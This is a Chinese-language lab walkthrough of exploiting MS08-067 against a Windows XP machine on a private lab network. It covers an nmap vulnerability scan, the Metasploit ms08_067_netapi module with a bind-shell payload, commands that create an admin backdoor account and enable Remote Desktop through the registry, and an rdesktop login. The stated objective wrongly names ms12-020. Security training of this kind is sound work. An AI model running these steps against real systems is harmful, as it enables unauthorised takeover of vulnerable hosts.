实验目的:
熟悉ms12-020漏洞的原理及利用方法
实验环境:
操作机:kali-linux-2022.4 IP:192.168.140.128
靶机:Windows XP Professio sp3 English IP:192.168.140.133
实验原理:
MS08-067漏洞是通过 MSRPC over SMB 通道调用 Server 服务程序中的 NetPathCanonicalize 函数时触发的,而 NetPathCanonicalize 函数在远程访问其他主机时,会调用 NetpwPathCanonicalize 函数,对远程访问的路径进行规范化,而在 NetpwPathCanonicalize 函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行(Remote Code Execution)。(CVE-2008-4250)
当用户在受影响的系统上收到RPC请求时,该漏洞会允许远程执行代码,攻击者可以在未经身份验证情况下利用此漏洞运行任意代码。同时,该漏洞可以用于蠕虫攻击。它影响了某些旧版本的Windows系统,包括:
- Windows 2000
- Windows XP
- Windows Server 2003
实验步骤:
- 利用nmap扫描
nmap -T4 -A -v 192.168.140.133 --script=vuln
扫描到了ms08-067漏洞 接下来进行利用
同时windows xp的445端口打开
- 打开msfconsole
- 搜索ms08-067 search ms08-067 有一个利用模块
(4)进入模块 use exploit/windows/smb/ms08_067_netapi或use 0
输入options
发现RHOSTS可知是一个网段 IP地址是靶机
(5)配置options
set rhosts 192.168.140.133
因为在配置里,攻击机以及攻击端口都有所以不需要重新配置
(6)show payloads
(7)set payload generic/shell_bind_tcp
Show options
(8)配置完毕 run/exploit 执行攻击
(9) 在Windows上创建一个名称为admin密码为pass的用户,并提升为管理员权限 net user admin pass /add && net localgroup administrators admin /add
(10) 开启windows远程登录端口
echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
(11)检查3389端口是否打开
(12)3389端口已打开 重新打开一个终端 进行远程登录
rdesktop 192.168.140.133:3389
输入刚才创建的用户 admin pass
成功远程登录
漏洞利用成功